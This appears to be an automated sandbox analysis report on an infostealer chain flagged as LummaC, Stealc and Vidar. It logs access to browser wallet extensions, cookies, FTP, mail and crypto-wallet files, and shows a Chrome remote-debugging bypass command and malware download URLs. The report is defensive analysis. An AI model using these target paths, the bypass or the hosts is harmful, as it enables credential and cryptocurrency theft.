Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Imposed.com	Binary or memory string: WIN_81
Source: Imposed.com	Binary or memory string: WIN_XP
Source: 0245b5a6ea.exe, 0000001F.00000000.2994344515.0000000000F82000.00000002.00000001.01000000.00000014.sdmp	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_11WIN_10WIN_2022WIN_2019WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\AppearanceUSERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte64HKEY_LOCAL_MACHINEHKLMHKEY_CLASSES_ROOTHKCRHKEY_CURRENT_CONFIGHKCCHKEY_CURRENT_USERHKCUHKEY_USERSHKUREG_EXPAND_SZREG_SZREG_MULTI_SZREG_DWORDREG_QWORDREG_BINARYRegDeleteKeyExWadvapi32.dll+.-.\\[\\nrt]\|%%\|%[-+ 0#]?([0-9]\|\)?(\.[0-9]\|\.\)?[hlL]?[diouxXeEfgGs](*UCP)\XISVISIBLEISENABLEDTABLEFTTABRIGHTCURRENTTABSHOWDROPDOWNHIDEDROPDOWNADDSTRINGDELSTRINGFINDSTRINGGETCOUNTSETCURRENTSELECTIONGETCURRENTSELECTIONSELECTSTRINGISCHECKEDCHECKUNCHECKGETSELECTEDGETLINECOUNTGETCURRENTLINEGETCURRENTCOLEDITPASTEGETLINESENDCOMMANDIDGETITEMCOUNTGETSUBITEMCOUNTGETTEXTGETSELECTEDCOUNTISSELECTEDSELECTALLSELECTCLEARSELECTINVERTDESELECTFINDITEMVIEWCHANGEGETTOTALCOUNTCOLLAPSEEXPANDmsctls_statusbar321tooltips_class32%d/%02d/%02dbuttonComboboxListboxSysDateTimePick32SysMonthCal32.icl.exe.dllMsctls_Progress32msctls_trackbar32SysAnimate32msctls_updown32SysTabControl32SysTreeView32SysListView32-----@GUI_DRAGID@GUI_DROPID@GUI_DRAGFILEError text not found (please report)Q\EDEFINEUTF16)UTF)UCP)NO_AUTO_POSSESS)NO_START_OPT)LIMIT_MATCH=LIMIT_RECURSION=CR)LF)CRLF)ANY)ANYCRLF)BSR_ANYCRLF)BSR_UNICODE)argument is not a compiled regular expressionargument not compiled in 16 bit modeinternal error: opcode not recognizedinternal error: missing capturing bracketfailed to get memory
Source: Imposed.com.15.dr	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_10WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\Appearance3, 3, 15, 3USERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte64HKEY_LOCAL_MACHINEHKLMHKEY_CLASSES_ROOTHKCRHKEY_CURRENT_CONFIGHKCCHKEY_CURRENT_USERHKCUHKEY_USERSHKUREG_EXPAND_SZREG_SZREG_MULTI_SZREG_DWORDREG_QWORDREG_BINARYRegDeleteKeyExWadvapi32.dll+.-.-\\[\\nrt]\|%%\|%[-+ 0#]?([0-9]\|\)?(\.[0-9]\|\.\)?[hlL]?[diouxXeEfgGs](*UCP)\XISVISIBLEISENABLEDTABLEFTTABRIGHTCURRENTTABSHOWDROPDOWNHIDEDROPDOWNADDSTRINGDELSTRINGFINDSTRINGSETCURRENTSELECTIONGETCURRENTSELECTIONSELECTSTRINGISCHECKEDCHECKUNCHECKGETSELECTEDGETLINECOUNTGETCURRENTLINEGETCURRENTCOLEDITPASTEGETLINESENDCOMMANDIDGETITEMCOUNTGETSUBITEMCOUNTGETTEXTGETSELECTEDCOUNTISSELECTEDSELECTALLSELECTCLEARSELECTINVERTDESELECTFINDITEMVIEWCHANGEGETTOTALCOUNTCOLLAPSEEXPANDmsctls_statusbar321tooltips_class32%d/%02d/%02dbuttonComboboxListboxSysDateTimePick32SysMonthCal32.icl.exe.dllMsctls_Progress32msctls_trackbar32SysAnimate32msctls_updown32SysTabControl32SysTreeView32SysListView32-----@GUI_DRAGID@GUI_DROPID@GUI_DRAGFILEError text not found (please report)Q\EDEFINEUTF16)UTF)UCP)NO_AUTO_POSSESS)NO_START_OPT)LIMIT_MATCH=LIMIT_RECURSION=CR)LF)CRLF)ANY)ANYCRLF)BSR_ANYCRLF)BSR_UNICODE)argument is not a compiled regular expressionargument not compiled in 16 bit modeinternal error: opcode not recognizedinternal error: missing capturing bracketfailed to get memory
Source: Imposed.com	Binary or memory string: WIN_XPe
Source: Imposed.com	Binary or memory string: WIN_VISTA
Source: Imposed.com	Binary or memory string: WIN_7
Source: Imposed.com	Binary or memory string: WIN_8

Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	Directory queried: C:\Users\user\Documents\KZWFNRXYKI
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	Directory queried: C:\Users\user\Documents\KZWFNRXYKI
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	Directory queried: C:\Users\user\Documents\JSDNGYCOWY
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	Directory queried: C:\Users\user\Documents\JSDNGYCOWY
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	Directory queried: C:\Users\user\Documents\KZWFNRXYKI
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	Directory queried: C:\Users\user\Documents\KZWFNRXYKI

Source: Yara match	File source: 0000001B.00000003.2997404895.000000000185E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2094836892.00000000017B4000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 432, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 70da2e822d.exe PID: 4956, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"

Yara detected Credential Flusher

Source: Yara match	File source: 0000001F.00000002.3056181007.0000000001198000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 0245b5a6ea.exe PID: 4556, type: MEMORYSTR

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: 70da2e822d.exe PID: 4956, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 00000000.00000003.1794953708.0000000005400000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.3008276200.0000000000B3E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.3006334699.0000000000021000.00000040.00000001.01000000.00000013.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2091184499.0000000000A41000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000003.2965920294.00000000049E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2094836892.000000000173E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 432, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 57b831f1bb.exe PID: 5724, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 432, type: MEMORYSTR

Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.com	Code function: 24_2_00D9204C socket,WSAGetLastError,bind,WSAGetLastError,closesocket,		24_2_00D9204C
Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.com	Code function: 24_2_00D91A4A socket,WSAGetLastError,bind,WSAGetLastError,closesocket,listen,WSAGetLastError,closesocket,		24_2_00D91A4A

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	2 Valid Accounts	21 Windows Management Instrumentation	1 DLL Side-Loading	1 Exploitation for Privilege Escalation	21 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	11 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	1 Native API	2 Valid Accounts	1 DLL Side-Loading	11 Deobfuscate/Decode Files or Information	21 Input Capture	1 Account Discovery	Remote Desktop Protocol	41 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	1 Extra Window Memory Injection	3 Obfuscated Files or Information	Security Account Manager	13 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	11 Registry Run Keys / Startup Folder	2 Valid Accounts	12 Software Packing	NTDS	2410 System Information Discovery	Distributed Component Object Model	21 Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	1 PowerShell	Network Logon Script	21 Access Token Manipulation	1 DLL Side-Loading	LSA Secrets	1381 Security Software Discovery	SSH	3 Clipboard Data	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	112 Process Injection	1 Extra Window Memory Injection	Cached Domain Credentials	651 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	1 Scheduled Task/Job	221 Masquerading	DCSync	4 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	11 Registry Run Keys / Startup Folder	2 Valid Accounts	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	651 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	21 Access Token Manipulation	Network Sniffing	1 Remote System Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	112 Process Injection	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	42%	ReversingLabs	Win32.Trojan.Symmi
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\DocumentsFHCAFIDBKE.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1007659001\57b831f1bb.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	100%	Avira	TR/Crypt.ZPACK.Gen
C:\Users\user\AppData\Local\Temp\1007657001\3f69cca2d1.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Avira	TR/Crypt.ZPACK.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\DocumentsFHCAFIDBKE.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1007659001\57b831f1bb.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1007657001\3f69cca2d1.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1007661001\5bebd091e2.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1007660001\0245b5a6ea.exe	100%	Joe Sandbox ML
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	34%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	53%	ReversingLabs	Win32.Packed.Themida
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[2].exe	42%	ReversingLabs	Win32.Trojan.Symmi
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\GuidanceConnectors[1].exe	16%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe	26%	ReversingLabs	Win32.Trojan.AutoitInject
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	39%	ReversingLabs	Win32.Trojan.LummaStealer
C:\Users\user\AppData\Local\Temp\1007643001\GuidanceConnectors.exe	16%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1007657001\3f69cca2d1.exe	34%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	39%	ReversingLabs	Win32.Trojan.LummaStealer
C:\Users\user\AppData\Local\Temp\1007659001\57b831f1bb.exe	42%	ReversingLabs	Win32.Trojan.Symmi
C:\Users\user\AppData\Local\Temp\1007660001\0245b5a6ea.exe	26%	ReversingLabs	Win32.Trojan.AutoitInject
C:\Users\user\AppData\Local\Temp\390641\Imposed.com	5%	ReversingLabs
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	53%	ReversingLabs	Win32.Packed.Themida
C:\Users\user\DocumentsFHCAFIDBKE.exe	53%	ReversingLabs	Win32.Packed.Themida

Source	Detection	Scanner	Label
http://31.41.244.11/files/random.exe(	100%	Avira URL Cloud	phishing
http://185.215.113.16/off/random.exep	100%	Avira URL Cloud	phishing
http://185.215.113.206/68b591d6548ec281/mozglue.dllL	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.phpnS	100%	Avira URL Cloud	malware
http://185.215.113.16/off/random.exeYq_tYr_.	100%	Avira URL Cloud	phishing
